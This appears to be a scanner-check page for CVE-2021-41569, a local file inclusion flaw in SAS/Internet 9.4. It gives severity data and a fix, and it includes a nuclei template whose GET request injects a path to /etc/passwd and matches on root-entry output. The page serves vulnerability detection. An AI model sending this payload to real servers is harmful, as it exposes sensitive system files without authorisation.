SAS/Internet 9.4 1520 - Local File Inclusion

highseverity

7.5CVSS score

8%likelihood of exploitation, next 30 days

95%of all CVEs are less likely

Readycheck to confirm it

SAS/Internet 9.4 build 1520 and earlier allows local file inclusion. The samples library (included by default) in the appstart.sas file, allows end-users of the application to access the sample.webcsf1.sas program, which contains user-controlled macro variables that are passed to the DS2CSF macro.

Impact

Successful exploitation of this vulnerability could allow an attacker to read sensitive files on the server, potentially leading to unauthorized access or information disclosure.

Fix

Apply the latest security patches or updates provided by SAS to fix the LFI vulnerability in the SAS/Internet 9.4 1520 application.

How to confirm it

Send: GET {{BaseURL}}/cgi-bin/broker?csftyp=classic,+ssfile1%3d/etc/passwd&_SERVICE=targetservice&_DEBUG=131&_PROGRAM=sample.webcsf1.sas&sysparm=test&_ENTRY=SA…
Positive when: matches /root:[x*]:0:0/ AND status 200

Run it with nuclei: nuclei -id CVE-2021-41569 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2021-41569

info:
  name: SAS/Internet 9.4 1520 - Local File Inclusion
  author: 0x_Akoko
  severity: high
  description: SAS/Internet 9.4 build 1520 and earlier allows local file inclusion. The samples library (included by default) in the appstart.sas file, allows end-users of the application to access the sample.webcsf1.sas program, which contains user-controlled macro variables that are passed to the DS2CSF macro.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to read sensitive files on the server, potentially leading to unauthorized access or information disclosure.
  remediation: |
    Apply the latest security patches or updates provided by SAS to fix the LFI vulnerability in the SAS/Internet 9.4 1520 application.
  reference:
    - https://www.mindpointgroup.com/blog/high-risk-vulnerability-discovery-localfileinclusion-sas
    - https://support.sas.com/kb/68/641.html
    - https://nvd.nist.gov/vuln/detail/CVE-2021-41569
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2021-41569
    cwe-id: CWE-829
    epss-score: 0.07968
    epss-percentile: 0.94795
    cpe: cpe:2.3:a:sas:sas\/intrnet:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: sas
    product: sas\/intrnet
  tags: cve2021,cve,sas,lfi,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/cgi-bin/broker?csftyp=classic,+ssfile1%3d/etc/passwd&_SERVICE=targetservice&_DEBUG=131&_PROGRAM=sample.webcsf1.sas&sysparm=test&_ENTRY=SAMPLIB.WEBSAMP.PRINT_TO_HTML.SOURCE&BG=%23FFFFFF&DATASET=targetdataset&_DEBUG=131&TEMPFILE=Unknown&style=a+tcolor%3dblue&_WEBOUT=test&bgtype=COLOR"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:[x*]:0:0"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from